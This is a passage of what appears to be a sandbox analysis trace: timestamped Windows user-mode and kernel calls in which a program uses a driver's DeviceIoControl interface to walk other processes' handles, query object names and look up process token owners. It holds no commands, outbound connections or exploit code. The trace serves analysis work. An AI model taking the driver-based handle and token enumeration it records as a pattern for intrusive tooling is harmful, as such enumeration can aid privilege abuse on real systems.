lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0075.509] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.509] PsAcquireProcessExitSynchronization () returned 0x0 [0075.509] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880054f85d0) [0075.509] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0075.509] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.509] PsReleaseProcessExitSynchronization () returned 0x2 [0075.509] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x45 [0075.509] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003a0e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a0e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.509] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0075.509] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.509] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.509] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.509] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0075.509] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.509] PsAcquireProcessExitSynchronization () returned 0x0 [0075.509] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880054f85d0) [0075.509] ObReferenceObjectByHandle (in: Handle=0x1e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002310680, HandleInformation=0x0) returned 0x0 [0075.509] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.509] PsReleaseProcessExitSynchronization () returned 0x2 [0075.509] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x45 [0075.509] ObQueryNameString (in: Object=0xfffffa8002310680, ObjectNameInfo=0xfffffa80039a2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039a2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.509] ObfDereferenceObject (Object=0xfffffa8002310680) returned 0x1 [0075.509] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.509] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.509] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x328) returned 0xc0 [0075.509] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.509] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8001fdf060, HandleInformation=0x0) returned 0x0 [0075.509] ObOpenObjectByPointer (in: Object=0xfffffa8001fdf060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.509] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x3b [0075.510] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa8003480780 | out: TokenHandle=0xfffffa8003480780*=0xc8) returned 0x0 [0075.510] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.510] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.510] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.510] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.511] CloseHandle (hObject=0xc8) returned 1 [0075.511] CloseHandle (hObject=0xc0) returned 1 [0075.511] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.511] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0075.511] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.511] PsAcquireProcessExitSynchronization () returned 0x0 [0075.511] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054f85d0) [0075.511] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80103235d0, HandleInformation=0x0) returned 0x0 [0075.511] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.511] PsReleaseProcessExitSynchronization () returned 0x2 [0075.511] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x39 [0075.511] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391c044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800391c044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.511] ObfDereferenceObject (Object=0xfffffa80103235d0) returned 0x1 [0075.511] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.512] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.512] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.512] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0075.512] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.512] PsAcquireProcessExitSynchronization () returned 0x0 [0075.512] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054f85d0) [0075.512] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003582f20, HandleInformation=0x0) returned 0x0 [0075.512] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.512] PsReleaseProcessExitSynchronization () returned 0x2 [0075.512] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x39 [0075.512] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a14044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a14044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.512] ObfDereferenceObject (Object=0xfffffa8003582f20) returned 0x1 [0075.512] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.512] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.512] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.512] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0075.512] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.512] PsAcquireProcessExitSynchronization () returned 0x0 [0075.512] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054f85d0) [0075.512] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0075.512] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.512] PsReleaseProcessExitSynchronization () returned 0x2 [0075.512] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x39 [0075.512] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa80038f0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.512] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0xb [0075.512] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.512] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.512] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.512] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0075.512] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.512] PsAcquireProcessExitSynchronization () returned 0x0 [0075.513] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054f85d0) [0075.513] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80023c9470, HandleInformation=0x0) returned 0x0 [0075.513] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.513] PsReleaseProcessExitSynchronization () returned 0x2 [0075.513] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x39 [0075.513] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003923044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003923044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.513] ObfDereferenceObject (Object=0xfffffa80023c9470) returned 0x1 [0075.513] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.513] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.513] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.513] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0075.513] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.513] PsAcquireProcessExitSynchronization () returned 0x0 [0075.513] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054f85d0) [0075.513] ObReferenceObjectByHandle (in: Handle=0x114, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80021ab070, HandleInformation=0x0) returned 0x0 [0075.513] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.513] PsReleaseProcessExitSynchronization () returned 0x2 [0075.513] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x39 [0075.513] ObQueryNameString (in: Object=0xfffffa80021ab070, ObjectNameInfo=0xfffffa800385f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800385f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.513] ObfDereferenceObject (Object=0xfffffa80021ab070) returned 0x1 [0075.513] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.513] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.513] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.513] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x191b30, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0075.513] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.513] PsAcquireProcessExitSynchronization () returned 0x0 [0075.513] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054f85d0) [0075.513] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0075.513] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.513] PsReleaseProcessExitSynchronization () returned 0x2 [0075.514] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x39 [0075.514] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.514] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.514] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.514] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x191b30, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0075.514] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.514] PsAcquireProcessExitSynchronization () returned 0x0 [0075.514] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054f85d0) [0075.514] ObReferenceObjectByHandle (in: Handle=0x168, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80038654a0, HandleInformation=0x0) returned 0x0 [0075.514] ObfDereferenceObject (Object=0xfffffa80038654a0) returned 0x3 [0075.514] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.514] PsReleaseProcessExitSynchronization () returned 0x2 [0075.514] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x39 [0075.514] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.514] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.514] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.514] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0075.514] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.514] PsAcquireProcessExitSynchronization () returned 0x0 [0075.514] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054f85d0) [0075.514] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80025c0780, HandleInformation=0x0) returned 0x0 [0075.514] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.514] PsReleaseProcessExitSynchronization () returned 0x2 [0075.514] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x39 [0075.514] ObQueryNameString (in: Object=0xfffffa80025c0780, ObjectNameInfo=0xfffffa80036c2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80036c2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.514] ObfDereferenceObject (Object=0xfffffa80025c0780) returned 0x10 [0075.514] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.514] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.514] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.514] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x191b30, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0075.514] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.514] PsAcquireProcessExitSynchronization () returned 0x0 [0075.515] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880054f85d0) [0075.515] ObReferenceObjectByHandle (in: Handle=0x1d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80036b2390, HandleInformation=0x0) returned 0x0 [0075.515] ObfDereferenceObject (Object=0xfffffa80036b2390) returned 0x1 [0075.515] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.515] PsReleaseProcessExitSynchronization () returned 0x2 [0075.515] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x39 [0075.515] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.515] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.515] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x55c) returned 0xc0 [0075.515] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.515] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8001ff4060, HandleInformation=0x0) returned 0x0 [0075.515] ObOpenObjectByPointer (in: Object=0xfffffa8001ff4060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.515] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x20 [0075.515] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa8003480780 | out: TokenHandle=0xfffffa8003480780*=0xc8) returned 0x0 [0075.515] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.515] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.515] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.515] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.517] CloseHandle (hObject=0xc8) returned 1 [0075.517] CloseHandle (hObject=0xc0) returned 1 [0075.517] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.517] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0075.517] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.517] PsAcquireProcessExitSynchronization () returned 0x0 [0075.517] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054f85d0) [0075.517] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800355c700, HandleInformation=0x0) returned 0x0 [0075.517] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.517] PsReleaseProcessExitSynchronization () returned 0x2 [0075.517] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0075.517] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f90044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8001f90044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.517] ObfDereferenceObject (Object=0xfffffa800355c700) returned 0x1 [0075.517] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.517] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.517] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.517] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0075.517] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.517] PsAcquireProcessExitSynchronization () returned 0x0 [0075.517] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054f85d0) [0075.517] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003517d50, HandleInformation=0x0) returned 0x0 [0075.517] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.517] PsReleaseProcessExitSynchronization () returned 0x2 [0075.517] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0075.517] ObQueryNameString (in: Object=0xfffffa8003517d50, ObjectNameInfo=0xfffffa8003493044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003493044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.517] ObfDereferenceObject (Object=0xfffffa8003517d50) returned 0x1 [0075.517] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.518] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.518] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.518] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.518] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.518] PsAcquireProcessExitSynchronization () returned 0x0 [0075.518] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054f85d0) [0075.518] ObReferenceObjectByHandle (in: 